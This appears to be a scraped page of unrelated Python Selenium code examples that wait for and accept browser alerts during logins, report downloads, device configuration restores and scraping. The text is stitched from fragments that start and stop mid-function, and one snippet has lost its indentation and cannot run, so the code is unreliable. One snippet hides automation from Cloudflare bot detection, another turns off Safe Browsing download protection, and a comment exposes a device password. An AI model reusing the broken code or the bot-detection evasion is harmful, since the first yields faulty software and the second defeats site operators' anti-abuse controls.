    # Constantes utilizada
    logging.info('5-7-1-GPS-Inicio da rotina da filial %s', branch_code)
    random.seed()

    driver_path = 'chromedriver.exe'

    day = str(datetime.datetime.now().date())

    lastday = (datetime.date.today() - datetime.timedelta(days=1))
    if lastday.strftime('%a') == 'Sun':
        lastday = (datetime.date.today() - datetime.timedelta(days=2))

    lastday = lastday.strftime('%d/%m/%Y').replace('/', '')

    today = datetime.date.today().strftime('%d/%m/%Y').replace('/', '')

    final_data_path = os.path.join('C:\\Users', os.getlogin(), 'Downloads',
                                   day)
    try:
        # criar uma pasta para o download com nome aleatório
        random_folder = str(random.randint(0, 1000))
        download_path = os.path.join(final_data_path, random_folder)
        os.makedirs(download_path)

        logging.info('5-7-1-GPS-%s', download_path)
        # branch_code = branch_code_number
        # branch = branch_number

        chrome_Options = Options()
        # chrome_Options.add_argument(f"user-data-dir={profile_path}")
        chrome_Options.add_argument("--start-maximized")
        chrome_Options.add_argument("--disable-popup-blocking")
        chrome_Options.add_argument(
            "--safebrowsing-disable-download-protection")
        chrome_Options.add_argument('--disable-extensions')
        chrome_Options.add_argument(
            '--safebrowsing-disable-extension-blacklist')
        chrome_Options.add_argument('--log-level=3')
        chrome_Options.add_argument('--disable-extensions')
        chrome_Options.add_argument('test-type')
        chrome_Options.add_experimental_option('excludeSwitches',
                                               ['enable-logging'])
        chrome_Options.add_experimental_option(
            "prefs", {
                "profile.default_content_settings.popups": 0,
                "download.default_directory": download_path,
                "download.prompt_for_download": False,
                "safebrowsing.enabled": True,
                "extensions_to_open": "inf"
            })

        driver = webdriver.Chrome(options=chrome_Options,
                                  executable_path=driver_path)

        driver.get('http://rotele.promaxcloud.com.br/pw/')

        # mudar para o frame 'top'
        driver.switch_to.frame(driver.find_element_by_name("top"))

        # preencher usuário e senha na primeira página
        driver.find_element_by_name('Usuario').send_keys(login)
        driver.find_element_by_name('Senha').send_keys(password)
        driver.find_element_by_name('cmdConfirma').click()

        # selecionar a filial referente ao relatório
        element_addr = '/html/body/form/table/tbody[1]/tr[3]/td[2]/select'
        select = Select(driver.find_element_by_xpath(element_addr))
        select.select_by_value(f"015000{branch}")
        driver.find_element_by_name('cmdConfirma').click()

        wait = WebDriverWait(driver, 20)

        # testar os popups que aparecem no login, como são variáveis
        # usaremos os blocos try except para tratar os erros
        try:
            wait.until(EC.alert_is_present())
        except TimeoutException:
            logging.warning('55-7-1-GPS-Erro de popup 1')
        else:
            driver.switch_to.alert.accept()

        try:
            wait.until(EC.alert_is_present())
        except TimeoutException:
            logging.warning('5-7-1-GPS-Erro de popup 2')
        else:
            driver.switch_to.alert.accept()

        try:
            wait.until(EC.alert_is_present())
        except TimeoutException:
            logging.warning('5-7-1-GPS-Erro de popup 3')
        else:
            driver.switch_to.alert.accept()

        try:
            wait.until(EC.alert_is_present())
        except TimeoutException:
            logging.warning('5-7-1-Erro de popup 4')
        else:
            driver.switch_to.alert.accept()

        # esperar o frame principal aparecer e mudar para ele
        wait.until(
            EC.frame_to_be_available_and_switch_to_it((By.ID, 'iFrameMenu')))

        # encontrar e clicar no menu novo siv
        element_addr = '//*[@id="out2000000000t"]'
        wait.until(EC.element_to_be_clickable((By.XPATH, element_addr)))
        element = driver.find_element_by_xpath(element_addr)
        driver.execute_script("arguments[0].click();", element)

        # aguardar a janela abrir
        # time.sleep(10)
        wait.until(EC.number_of_windows_to_be(2))
        driver.switch_to.window(driver.window_handles[1])

        # encontrar e clicar no menu 5.7.1
        time.sleep(3)
        element_addr = '//*[@id="treeMenu"]/ul/li[4]/ul/li[7]/ul/li[1]/a'
        wait.until(EC.invisibility_of_element_located(
            (By.XPATH, element_addr)))
        element = driver.find_element_by_xpath(element_addr)
        driver.execute_script("arguments[0].click();", element)
        time.sleep(2)

        # clicar na lista no nome do GV
        element_addr = '//*[@id="listaEquipeVendas"]/ul/li[1]/a/ins[1]'
        wait.until(EC.element_to_be_clickable((By.XPATH, element_addr)))
        element = driver.find_element_by_xpath(element_addr)
        driver.execute_script("arguments[0].click();", element)

        logging.info('5-7-1-GPS-IC_GPS - dia %s', today)
        Selecionar_Dropdowns(7, 8, 'IC_GPS', today, driver, download_path,
                             branch_code)

        driver.switch_to.window(driver.window_handles[2])
        driver.close()
        driver.switch_to.window(driver.window_handles[1])

        logging.info('5-7-1-GPS-D-1-IC_GPS - dia %s', lastday)
        Selecionar_Dropdowns(7, 9, 'D-1_IC_GPS', lastday, driver,
                             download_path, branch_code)

        driver.switch_to.window(driver.window_handles[2])
        driver.close()
        driver.switch_to.window(driver.window_handles[1])

        logging.info('5-7-1-GPS-IC_POSIT - dia %s', today)
        Selecionar_Dropdowns(10, 8, 'IC_POSIT', today, driver, download_path,
                             branch_code)

        driver.switch_to.window(driver.window_handles[2])
        driver.close()
        driver.switch_to.window(driver.window_handles[1])

        logging.info('5-7-1-GPS-D-1IC_POSIT - dia %s', lastday)
        Selecionar_Dropdowns(10, 7, 'D-1_IC_POSIT', lastday, driver,
                             download_path, branch_code)

        driver.switch_to.window(driver.window_handles[2])
        driver.close()
        driver.switch_to.window(driver.window_handles[1])
        driver.close()
        driver.switch_to.window(driver.window_handles[0])
        driver.close()

    except (TimeoutException, NoSuchElementException,
            StaleElementReferenceException, WebDriverException) as error:
        logging.warning('5-7-1-GPS-%s', error)
        with open(
                os.path.join(final_data_path, f'5-7-1-GPS-{branch_code}.fail'),
                'w'):
            pass
        shutil.rmtree(download_path, ignore_errors=True)
        for window in driver.window_handles:
            driver.switch_to.window(window)
            driver.close()
        Relatorio5_7_1_GPS(branch, branch_code, login, password)

    for root, dirs, files in os.walk(download_path):
        for name in files:
            old_file = os.path.join(root, name)
            new_file = os.path.join(final_data_path, name)
            os.rename(old_file, new_file)
    shutil.rmtree(download_path, ignore_errors=True)

    logging.info('5-7-1-GPS-Final da rotina da filial %s', branch_code)

    with open(
            os.path.join(final_data_path, f'5-7-1-GPS-{branch_code}.success'),
            'w'):
        pass

    return
Esempio n. 44
0
 def switch_to_alert(self, timeout=timeout_webdriverwait):
     alert = WebDriverWait(self.driver,
                           timeout).until(EC.alert_is_present(),
                                          message='No alert show')
     return alert
				)
				element_otp.clear()
				element_otp.send_keys(otp)
			except Exception ,ee:
					print "Exception : "+str(ee)
					browser.quit()
			try:
				element_submit_ = WebDriverWait(browser, 30).until(
					EC.element_to_be_clickable((By.ID, "tfa_signin_button"))
				)
				element_submit_.click()
			except Exception ,ee:
						print "Exception : "+str(ee)
						browser.quit()
			try:
				WebDriverWait(browser, 30).until(EC.alert_is_present(),
											   'Timed out waiting for PA creation ' +
											   'confirmation popup to appear.')

				alert = browser.switch_to_alert()
				alert.accept()
				print "alert accepted"
			except TimeoutException:
				print "no alert"
			time.sleep(2)
			today=datetime.datetime.today().day
			
			rows=WebDriverWait(browser, 30).until(
					EC.visibility_of_element_located((By.CLASS_NAME, "fc-border-separate")))
			self.processed_rows=0
			self.processed_cols=0
Esempio n. 46
0
def ad_resume_back(hciip):
	dr=webdriver.Firefox()
	#dr=webdriver.Chrome()
	hci_url='https://%s/login'%hciip
	ad_url='https://%s/?m=/mod-vnet/dev/web/index&n-hfs&id=%s'%(hciip,AD_VMID)

	print u'HCI login page is : ',hci_url
	#全局隐性等待,45秒超时。
	dr.implicitly_wait(45)
	dr.get(hci_url)
	
	dr.find_element_by_css_selector("#user_name").send_keys(HCI_USER_NAME)	
	dr.find_element_by_css_selector("#password").send_keys(HCI_USER_PWD)	
	dr.find_element_by_css_selector("#login").click()
	#如果没有登录成功,重试一遍
	#longin_hci_js=javascript:seajs.require('jquery')('#user_name').val('admin').next().val('sangfor123').next().next().next().click();
	if not WebDriverWait(dr,10).until(EC.title_contains('SANGFOR')):
		dr.find_element_by_css_selector("#user_name").send_keys(HCI_USER_NAME)	
		dr.find_element_by_css_selector("#password").send_keys(HCI_USER_PWD)	
		dr.find_element_by_css_selector("#login").click()
			
	#https://200.201.188.106/?m=/mod-vnet/dev/web/index&n-hfs&id=3590808821638
	dr.get(ad_url)
	print u'AD console page is : ',ad_url

	#WebDriverWait(dr,45,0.5).until(EC.presence_of_element_located(locator))
	dr.switch_to_frame("mainFrame")	
	
	if EC.alert_is_present():
		dr.find_element_by_css_selector("#msg_qd").click()
		print 'Current password is default.'
	dr.switch_to_default_content()

	#selenium.common.exceptions.NoSuchElementException: Message: Unable to locate element: //*[@id="left_menu_8"]/a/b
	#NoSuchFrameException: Message: leftFrame	

	locator = (By.CSS_SELECTOR, '#id_left > iframe')
	element_tmp=WebDriverWait(dr,45,0.5).until(EC.presence_of_element_located(locator))
	dr.switch_to_frame("leftFrame")

	#1.系统配置:#left_menu_8 > a > b
	#dr.find_element_by_css_selector("#left_menu_8 > a > b")
	
	locator = (By.CSS_SELECTOR, '#left_menu_8 > a > b')
	element_tmp=WebDriverWait(dr,45,0.5).until(EC.presence_of_element_located(locator))
	element_tmp.click()
	#time.sleep(5)

	#2.设备管理:#left_menu_8_0 > a
	locator = (By.CSS_SELECTOR, '#left_menu_8_0 > a')
	element_tmp=WebDriverWait(dr,45,0.5).until(EC.presence_of_element_located(locator))
	element_tmp.click()
	#http://blog.csdn.net/huilan_same/article/details/52338073
	dr.find_element_by_css_selector("#left_menu_8_0 > a").click()
		
	dr.switch_to_default_content()
	dr.switch_to_frame("mainFrame")
	#3.配置备份与恢复:ul.tag_gray:nth-child(3) > a:nth-child(1)
	locator = (By.CSS_SELECTOR, 'ul.tag_gray:nth-child(3) > a:nth-child(1)')
	element_tmp=WebDriverWait(dr,45,0.5).until(EC.presence_of_element_located(locator))	
	element_tmp.click()

	#4.从文件恢复:.import_tag
	dr.find_element_by_css_selector(".import_tag").click()

	#5.浏览:#file_addr
	dr.find_element_by_css_selector("#file_addr").send_keys(BAK_FILE)

	#6.恢复:button.large_but:nth-child(2)
	dr.find_element_by_css_selector("button.large_but:nth-child(2)").click()

	#7.确认:#msg_qd
	dr.switch_to_alert()
	dr.find_element_by_css_selector("#msg_qd").click()
	#8:reload AD url

	
	#raise TimeoutException(message, screen, stacktrace)
	#dr.get(ad_url)
	try:
		dr.get(ad_url)
		WebDriverWait(dr,90).until(EC.title_contains('AD'))
	except TimeoutException as e:
		print 'Catch TimeoutException.',e
		#dr.quit()
	finally:
		#dr=webdriver.Firefox()
		dr.get(ad_url)
		print 'Access AD again in exception.'

	#import pdb; pdb.set_trace()
	dr.switch_to_frame("mainFrame")

	#
	if EC.alert_is_present():
		dr.find_element_by_css_selector("#msg_qd").click()
		print 'Current password is default.'
	dr.switch_to_default_content()

	locator = (By.CSS_SELECTOR, '#id_left > iframe')
	element_tmp=WebDriverWait(dr,45,0.5).until(EC.presence_of_element_located(locator))
	dr.switch_to_frame("leftFrame")

	#1.系统概况:#left_menu_0 > a > b	
	locator = (By.CSS_SELECTOR, '#left_menu_0 > a > b')
	element_tmp=WebDriverWait(dr,45,0.5).until(EC.presence_of_element_located(locator))
	element_tmp.click()

	#2.日志查看:#left_menu_0_14 > a:nth-child(1)
	locator = (By.CSS_SELECTOR, '#left_menu_0_14 > a:nth-child(1)')
	element_tmp=WebDriverWait(dr,45,0.5).until(EC.visibility_of_element_located(locator))
	dr.find_element_by_css_selector("#left_menu_0_14 > a:nth-child(1)").click()
	#dr.find_element_by_css_selector("#left_menu_0_14 > a:nth-child(1)").click()

	#3.管理日志:#audit_label
	dr.switch_to_default_content()
	dr.switch_to_frame("mainFrame")
	
	locator = (By.CSS_SELECTOR, '#audit_label')
	element_tmp=WebDriverWait(dr,45,0.5).until(EC.presence_of_element_located(locator))	
	element_tmp.click()

	#4.第一条日志内容:#table2 > tbody > tr:nth-child(1) > td:nth-child(7)	恢复备份配置	tr.color2:nth-child(2) > td:nth-child(7)
	#结果:#table2 > tbody > tr:nth-child(1) > td:nth-child(6)	完成	tr.color2:nth-child(2) > td:nth-child(6)
	#TODO:1122判断有问题,待调试
	operate_processing=dr.find_element_by_css_selector("tr.color2:nth-child(2) > td:nth-child(7)").text
	operate_result=dr.find_element_by_css_selector("tr.color2:nth-child(2) > td:nth-child(6)").text

	#UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-5: ordinal not in range(128)
	#TypeError: descriptor 'decode' requires a 'str' object but received a 'unicode'
	#cmp_result = (operate_processing == '恢复备份配置' and operate_result == '完成')
	#cmp_result = (re.match('恢复备份配置',operate_processing) and re.match('完成',operate_result))
	cmp_result = (operate_processing == u'\u6062\u590d\u5907\u4efd\u914d\u7f6e' and operate_result == u'\u5b8c\u6210')

	if cmp_result:
		print '[success]recovery success'
	else:
		print '[fail]recovery fail.Pls try again.'

	dr.quit()
Esempio n. 47
0
def login(request, browser, app, attempt=1):
    """Runs for each provider."""
    success = False
    provider_name, provider = request.param
    log(1, provider_name, 'Attempt {0}'.format(attempt))

    def wait(indent, seconds):
        seconds = seconds or 0
        seconds = seconds * config.WAIT_MULTIPLIER
        if seconds < config.MIN_WAIT:
            seconds = config.MIN_WAIT

        if seconds:
            log(indent, provider_name, '(waiting {0} seconds)'.format(seconds))
            # log(0, provider_name, u' waiting {0} seconds '
            #     .format(seconds).center(60, '#'))
            time.sleep(seconds)

    def human_interaction_needed(xpath, seconds=0):
        log(2, provider_name, 'Checking if human interaction is needed')
        try:
            wait(2, seconds)
            el = browser.find_element_by_xpath(xpath)
            if el.is_displayed():
                print('Human interaction is needed (captcha or similar)!')
                print('Go to the browser, do the interaction and hit "c".')

                if os.environ.get('TRAVIS'):
                    message = ('Human interaction needed, '
                               'but not possible on Travis CI!')
                    log(3, provider_name, message)
                    pytest.fail(message)
                    return

                log(3, provider_name, 'Entering PDB for human interaction')
                import pdb
                pdb.set_trace()
                log(3, provider_name, 'Returned from PDB')
                return
        except NoSuchElementException:
            pass

        log(3, provider_name, 'Not needed')

    try:
        provider['name'] = provider_name
        conf = fixtures.get_configuration(provider_name)

        # Andy types the login handler url to the address bar.
        url = parse.urljoin(app.check_url, 'login/' + provider['_path'])

        # Andy authenticates by the provider.
        login_url = provider.get('login_url')
        login_xpath = provider.get('login_xpath')
        password_xpath = provider.get('password_xpath')
        pre_login_xpaths = provider.get('pre_login_xpaths')

        # Go to login URL to log in
        if login_url:
            log(2, provider_name, 'Going to login URL: {0}'.format(login_url))
            browser.get(login_url)
        else:
            browser.get(url)

        # Handle alerts
        try:
            alert_wait = provider.get('alert_wait_seconds', 0)
            WebDriverWait(browser, alert_wait)\
                .until(expected_conditions.alert_is_present())

            if alert_wait:
                log(2, provider_name,
                    'Waiting {0} seconds for alert'.format(alert_wait))

            alert = browser.switch_to_alert()
            log(2, provider_name, 'Accepting alert: {0}'.format(alert.text))
            alert.accept()
        except TimeoutException:
            pass

        # Pause for getting login and password xpaths
        if request.config.getoption("--pause"):
            log(2, provider_name, 'Pausing to pdb')
            import pdb
            pdb.set_trace()

        if login_xpath:
            if pre_login_xpaths:
                for xpath in pre_login_xpaths:
                    log(2, provider_name,
                        'Finding pre-login element {0}'.format(xpath))
                    pre_login = browser.find_element_by_xpath(xpath)

                    log(3, provider_name,
                        'Clicking on pre-login element'.format(xpath))
                    pre_login.click()

            log(2, provider_name,
                'Finding login input {0}'.format(login_xpath))
            login_element = browser.find_element_by_xpath(login_xpath)

            log(3, provider_name, 'Filling out login')
            login_element.send_keys(conf.user_login)

            enter_after_login_input = provider.get('enter_after_login_input')
            if enter_after_login_input:
                log(3, provider_name, 'Hitting ENTER after login input')
                login_element.send_keys(Keys.ENTER)

            hi = provider.get('human_interaction_before_password')
            if hi:
                human_interaction_needed(*hi)

            log(2, provider_name,
                'Finding password input {0}'.format(password_xpath))
            password_element = browser.find_element_by_xpath(password_xpath)
            log(3, provider_name, 'Filling out password')
            password_element.send_keys(conf.user_password)

            wait(2, provider.get('before_login_enter_wait'))
            log(2, provider_name, 'Hitting ENTER')
            password_element.send_keys(Keys.ENTER)
            wait(2, provider.get('after_login_wait_seconds'))

        if login_url:
            # Return back from login URL
            log(2, provider_name,
                'Going back from login URL to: {0}'.format(url))

            browser.get(url)

        # Andy authorizes this app to access his protected resources.
        consent_xpaths = provider.get('consent_xpaths')

        if consent_xpaths:
            for xpath in consent_xpaths:
                try:
                    wait(2, provider.get('consent_wait_seconds'))

                    log(2, provider_name,
                        'Finding consent button {0}'.format(xpath))
                    button = browser.find_element_by_xpath(xpath)

                    log(3, provider_name, 'Clicking consent button')
                    button.click()
                except NoSuchElementException as e:
                    log(
                        3, provider_name, 'Consent button not found! '
                        '(provider probably remembers consent)')

        wait(2, provider.get('after_consent_wait_seconds'))

        try:
            log(2, provider_name, 'Finding result element')
            browser.find_element_by_id('login-result')
            log(3, provider_name, 'Result element found')
            success = True
        except NoSuchElementException:
            log(3, provider_name, 'Result element not found!')

    except WebDriverException as e:
        if request.config.getoption('--login-error-pdb'):
            log(2, provider_name, 'Entering PDB session')
            import pdb
            pdb.set_trace()
        try:
            log(2, provider_name,
                'Finding result element after error {0}'.format(e.msg))
            browser.find_element_by_id('login-result')
            log(3, provider_name, 'Result element found')
            success = True
        except NoSuchElementException:
            log(3, provider_name, 'Result element not found!')

    if success:
        log(0, provider_name, 'SUCCESS')
    else:
        if attempt < config.MAX_LOGIN_ATTEMPTS:
            login(request, browser, app, attempt + 1)
        else:
            log(1, provider_name,
                'Giving up after {0} attempts!'.format(attempt))

            # import pdb; pdb.set_trace()

            pytest.fail(
                'Login by provider "{0}" failed!'.format(provider_name))

    return provider
Esempio n. 48
0
 def set_text_alert(self, text):
     wait = WebDriverWait(self.driver, TIMEOUT, POLL_FREQUENCY)
     wait.until(EC.alert_is_present())
     alert = self.driver.switch_to_alert()
     alert.send_keys(text)
     alert.accept()
Esempio n. 49
0
from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
from time import sleep
from selenium.webdriver.support import expected_conditions as EC

driver = webdriver.Firefox()
driver.get("https://www.baidu.com")
driver.implicitly_wait(20)

mouse = driver.find_element_by_link_text("设置")
ActionChains(driver).move_to_element(mouse).perform()
driver.find_element_by_link_text("搜索设置").click()
driver.find_element_by_class_name("prefpanelgo").click()
sleep(3)
result = EC.alert_is_present()(driver)
if result:
    print(result.text)
    result.accept()
else:
    print("alert未弹出")
sleep(3)
driver.quit()
 def ensure(self):
     self.click(self.sure)
     WebDriverWait(self.driver, 5, 0.5).until(ES.alert_is_present())
     self.accept_alert()
Esempio n. 51
0
 def decline_alert(self):
     try:
         WebDriverWait(self.driver, 3).until(ec.alert_is_present())
         self.driver.switch_to_alert().decline()
     except TimeoutException:
         pass
Esempio n. 52
0
            return False

        except selenium.common.exceptions.NoSuchElementException,e:
            logInfo("\033[1;33;40m [warn:NoSuchElement]This data has already checked! \033[0m")
            self.browser.back()
            return False

        try:
            self.browser.find_element_by_id("ctl00_ContentPlaceHolder1_BT_QD").click()
        except selenium.common.exceptions.StaleElementReferenceException,e:
            print self.browser.page_source
            return False
        self.browser.implicitly_wait(30)
        self.browser.find_element_by_xpath("//option[@value='6']").click()
        self.browser.find_element_by_id("ctl00_ContentPlaceHolder1_GV_GWKXF_WEB_ctl02_BT_BZWEB").click()
        WebDriverWait(self.browser, 10).until(EC.alert_is_present())
        self.browser.switch_to_alert().accept()
        WebDriverWait(self.browser, 10).until(
            EC.presence_of_element_located((By.ID, "ctl00_ContentPlaceHolder1_BT_BEFOREWEB"))).click()
        #self.browser.find_element_by_id("ctl00_ContentPlaceHolder1_BT_BEFOREWEB").click()
        #print self.browser.page_source
        time.sleep(1)
        return True


    def workFlow(self):
        self.openURL(LOGINURL)
        self.process1()
        self.process2()
        self.process3()
        self.process4()
    def test_conditions(self):
        self.login('xxx', 'xxx')

        # 判断某个元素是否可见. 可见代表元素非隐藏,并且元素的宽和高都不等于0
        # WebDriverWait(driver, time).until(EC.visibility_of_element_located(locator)
        # locator:一组,(by, locator)
        e_xpath = '//*[@id="pl_content_account"]/div[1]/form/fieldset/div'
        edit_button = WebDriverWait(self.driver, 10).until(EC.visibility_of_element_located((By.XPATH, e_xpath)))
        edit_button.click()

        # 判断某个元素中是否可见并且是enable的,以便确定元素是可点击的。此方法返回定位到的元素
        # WebDriverWait(driver, time).until(EC.element_to_be_clickable(locator))
        # locator:一组(by, locator)
        hm_xpath = '//*[@id="pl_content_account"]/div[1]/div[2]/div/div[8]/div[3]/div/select/option[3]'
        print(self.driver.find_element_by_xpath(hm_xpath).is_displayed())
        print(self.driver.find_element_by_xpath(hm_xpath).is_enabled())
        WebDriverWait(self.driver, 10).until(EC.element_to_be_clickable((By.XPATH, hm_xpath))).click()

        # 判断某个元素是否被选中了,一般用在下拉列表:WebDriverWait(driver, time).until(EC.element_to_be_selected(element)
        # element:是个WebElement
        # hm_xpath_other = '//*[@id="pl_content_account"]/div[1]/div[2]/div/div[8]/div[3]/div/select/option[8]'
        subsciption = self.driver.find_element_by_xpath(hm_xpath)
        WebDriverWait(self.driver, 20).until(EC.element_to_be_selected(subsciption))

        # 判断是否至少有1个元素存在于dom树中
        # 举个例子,如果页面上有n个元素的class都是‘column-md-3‘,那么只要有1个元素存在,这个方法就返回True
        # WebDriverWait(driver, time).until(EC.presence_of_all_elements_located(locator))
        # locator:一组(by, locator)
        WebDriverWait(self.driver, 10).until(EC.presence_of_all_elements_located((By.CLASS_NAME, 'btns')))

        self.driver.find_element_by_xpath(e_xpath).click()

        # 判断某个元素是否被加到了dom树里,并不代表该元素一定可见
        # WebDriverWait(driver, time).until(EC.presence_of_element_located(locator))
        # locator:一组(by, locator)
        WebDriverWait(self.driver, 10).until(EC.presence_of_element_located((By.ID, 'woman_radio')))
        WebDriverWait(self.driver, 10).until(EC.visibility_of_element_located((By.ID, 'woman_radio')))
        WebDriverWait(self.driver, 10).until(EC.element_to_be_clickable((By.ID, 'woman_radio'))).click()
        woman_radio = self.driver.find_element_by_id('woman_radio')
        WebDriverWait(self.driver, 10).until(EC.element_to_be_selected(woman_radio))

        # 判断某个元素中的text是否 包含 了预期的字符串
        # WebDriverWait(driver, time).until(EC.text_to_be_present_in_element(locator, text))
        # locator:一组(by, locator),即定位方法
        # text:期望的值
        locator = (By.XPATH, '//*[@id="pl_content_account"]/div[1]/div[1]/div[2]/div[2]')
        text = '笙囚'
        print(EC.text_to_be_present_in_element(locator, text))
        WebDriverWait(self.driver, 10).until(EC.text_to_be_present_in_element(locator, text))

        # 判断当前页面的title是否包含预期字符串,返回布尔值
        # WebDriverWait(driver, time).until(EC.title_contains(title))
        # title:期望的模糊title
        print(EC.title_contains('个人资料'))
        WebDriverWait(self.driver, 10).until(EC.title_contains('个人资料'))

        # 判断当前页面的title是否完全等于(==)预期字符串,返回布尔值
        # WebDriverWait(driver, 10).until(EC.title_is(title))
        # title:期望的精确title
        print(EC.title_is('个人资料页个人信息'))
        WebDriverWait(self.driver, 10).until(EC.title_is('个人资料页个人信息'))

        # 判断某个元素是否可见. 可见代表元素非隐藏,并且元素的宽和高都不等于0
        # WebDriverWait(driver, 10).until(EC.visibility_of(element)
        # element:是个WebElement
        visibility_element = self.driver.find_element_by_id('pl_content_account')
        print(EC.visibility_of(visibility_element))
        WebDriverWait(self.driver, 10).until(EC.visibility_of(visibility_element))

        # 判断某个元素中是否不存在于dom树或不可见
        # WebDriverWait(driver,10).until(EC.invisibility_of_element_located(locator)
        # locator:一组(by, locator)
        print(EC.invisibility_of_element_located((By.ID, 'btns')))
        WebDriverWait(self.driver, 10).until(EC.invisibility_of_element_located((By.ID, 'btns')))

        # 判断页面上是否存在alert
        # WebDriverWait(driver, 10).until(EC.alert_is_present())
        self.driver.get('file:///' + os.path.abspath('alert_prompt.html'))
        self.driver.find_element_by_xpath('/html/body/button').click()
        alert = WebDriverWait(self.driver, 10).until(EC.alert_is_present())
        print(alert.text)
        alert.dismiss()
Esempio n. 54
0
import time

driver = webdriver.Chrome("/Users/k352ex/Downloads/Chromedriver")
driver.get("http://intra.wku.ac.kr/SWupis/V005/login.jsp")

# 로그인을 위한 id, pw 정보
driver.find_element_by_name('userid').send_keys("")
driver.find_element_by_name('passwd').send_keys("")

# 로그인 버튼 클릭
driver.find_element_by_xpath(
    "//*[@id = 'f_login']/fieldset/dl/dd[3]/input").click()

# 접속 후 Alert 창 확인
try:
    WebDriverWait(driver, 1).until(EC.alert_is_present(), "test")
    alert = driver.switch_to_alert()
    alert.accept()
except TimeoutException:
    pass

# 영역별 교육과정 조회
driver.get(
    'http://intra.wku.ac.kr/SWupis/V005/Service/Stud/Course/listByRange.jsp?sm=3'
)

year = [str(year) for year in range(2000, 2019)]
value = [
    "26", "2", "8", "21", "28", "27", "23", "29", "30", "31", "32", "33", "S6",
    "S7", "S8"
]
def initialize_driver(headless=True,
                      with_ublock=False,
                      chromedriver_path=None):
    if not chromedriver_path:
        try:
            chromedriver_path = chromedriver_autoinstaller.install()
        except Exception as exception:
            log.critical(
                f"Failed to install the built-in chromedriver: {exception}\n"
                "download the correct version for your system at "
                "https://chromedriver.chromium.org/downloads and use the"
                "--chromedriver argument to point to the chromedriver executable"
            )
            sys.exit()

    log.info(f"Initialising chromedriver at {chromedriver_path}...")
    chrome_options = Options()
    if headless:
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("window-size=1920,1080")
    chrome_options.add_argument("--log-level=3")
    chrome_options.add_argument("--silent")
    chrome_options.add_argument("--disable-logging")
    # allows selenium to accept cookies with a non-int64 'expiry' value
    chrome_options.add_experimental_option("w3c", False)
    # removes the 'DevTools listening' log message
    chrome_options.add_experimental_option("excludeSwitches",
                                           ["enable-logging"])
    # prevent Cloudflare from detecting ChromeDriver as bot
    chrome_options.add_experimental_option("excludeSwitches",
                                           ["enable-automation"])
    chrome_options.add_experimental_option("useAutomationExtension", False)
    chrome_options.add_argument(
        "--disable-blink-features=AutomationControlled")

    if with_ublock:
        chrome_options.add_extension(
            os.path.join(os.getcwd(), "bin", "ublock", "ublock-extension.crx"))

    logs_path = os.path.join(os.getcwd(), "logs")
    if not (os.path.isdir(logs_path)):
        os.makedirs(logs_path)

    driver = webdriver.Chrome(
        executable_path=chromedriver_path,
        service_log_path=os.path.join(logs_path, "webdrive.log"),
        # Don't verify self-signed cert, should help with 502 errors
        # (https://github.com/wkeeling/selenium-wire/issues/55)
        # seleniumwire_options={"verify_ssl": False},
        options=chrome_options,
    )

    driver.execute_cdp_cmd(
        "Network.setUserAgentOverride",
        {
            "userAgent":
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"
        },
    )
    driver.execute_cdp_cmd(
        "Page.addScriptToEvaluateOnNewDocument",
        {
            "source":
            """
            Object.defineProperty(navigator, 'webdriver', {
            get: () => undefined
            })
        """
        },
    )

    if with_ublock:
        log.debug("Configuring uBlock")

        # set up uBlock
        driver.get(
            "chrome-extension://ilchdfhfciidacichehpmmjclkbfaecg/settings.html"
        )

        # Un-hide the file upload button so we can use it
        element = driver.find_elements_by_class_name("hidden")
        driver.execute_script(
            "document.getElementsByClassName('hidden')[0].className = ''",
            element)
        # scroll down (for debugging)
        driver.execute_script("window.scrollTo(0, 2000)")
        uBlock_settings_file = str(
            os.path.join(os.getcwd(), "bin", "ublock", "ublock-settings.txt"))
        driver.find_element_by_id("restoreFilePicker").send_keys(
            uBlock_settings_file)
        try:
            WebDriverWait(driver, 3).until(EC.alert_is_present())
            # click ok on pop up to accept overwrite
            driver.switch_to.alert.accept()
        except TimeoutException:
            log.error("Timeout waiting for ublock config overwrite alert")
        # leave uBlock config
        driver.get("about:blank")

    return driver
Esempio n. 56
0
def SetUp():
    """
    Navigates to Ecalc (including login)
    """
    login("*****@*****.**","TakeFlight")
    try:
    WebDriverWait(browser, 3).until(EC.alert_is_present())
    alert = browser.switch_to.alert
    alert.accept()
    print("alert accepted")
    except TimeoutException:
    print("no alert")

    browser.find_element_by_xpath('/html/body/center/table/tbody/tr/td[1]/div[3]/div/div[2]/center[1]/table/tbody/tr[1]/td[1]/a').click()

    pass

def full_scrape():
    """
    Iterate through all motors from all manufacturers, record data
    """
    man_drop=browser.find_element_by_id('inMManufacturer')
    mot_drop=browser.find_element_by_id('inMType')
    man_sel=Select(man_drop)
    mot_sel=Select(mot_drop)
    file = open('Motor_Data.txt','w')
    for option in man_drop.find_elements_by_tag_name('option'):
    if option.get_attribute('text')=='select...':
    pass
    pull_motors(option.get_attribute('text'),file)

def pull_motors(manuf,file):
    """
    Given a manufacturer, navigate through all listed motors,and record
    the motor data
    """
    man_drop=browser.find_element_by_id('inMManufacturer')
    mot_drop=browser.find_element_by_id('inMType')
    man_sel=Select(man_drop)
    mot_sel=Select(mot_drop)
    man_sel.select_by_visible_text(manuf)

    for option in mot_drop.find_elements_by_tag_name('option'):
    if option.get_attribute('text')[0] == '-':
    break

    Motor_Name = option.get_attribute('text')
    mot_sel.select_by_visible_text(Motor_Name)
    time.sleep(.5)
    if Motor_Name != 'custom':
    print(Motor_Name +"," + motor_dat())
    file.write(manuf+"," + Motor_Name +"," + motor_dat() + '\n')

    pass

def motor_dat():
    """
    While a motor is selected, output its displated parameters
    """
    Kv = browser.find_element_by_id('inMKv').get_attribute('value')
    No_Load_Current= browser.find_element_by_id('inMIo').get_attribute('value')
    N_L_V=browser.find_element_by_id('inMVIo').get_attribute('value')
    Limit_W=browser.find_element_by_id('inMLimit').get_attribute('value')
    Resist=browser.find_element_by_id('inMRi').get_attribute('value')
    Length_In=browser.find_element_by_id('inMLengthInch').get_attribute('value')
    Mag_Poles=browser.find_element_by_id('inMPoles').get_attribute('value')
    Weight_g=browser.find_element_by_id('inMWeight').get_attribute('value')

    return Kv + "," + No_Load_Current + "," + N_L_V + "," + Limit_W + "," + Resist + "," + Length_In+"," +
    Mag_Poles + "," + Weight_g
Esempio n. 57
0
from selenium import webdriver
from selenium.webdriver.common.by import By
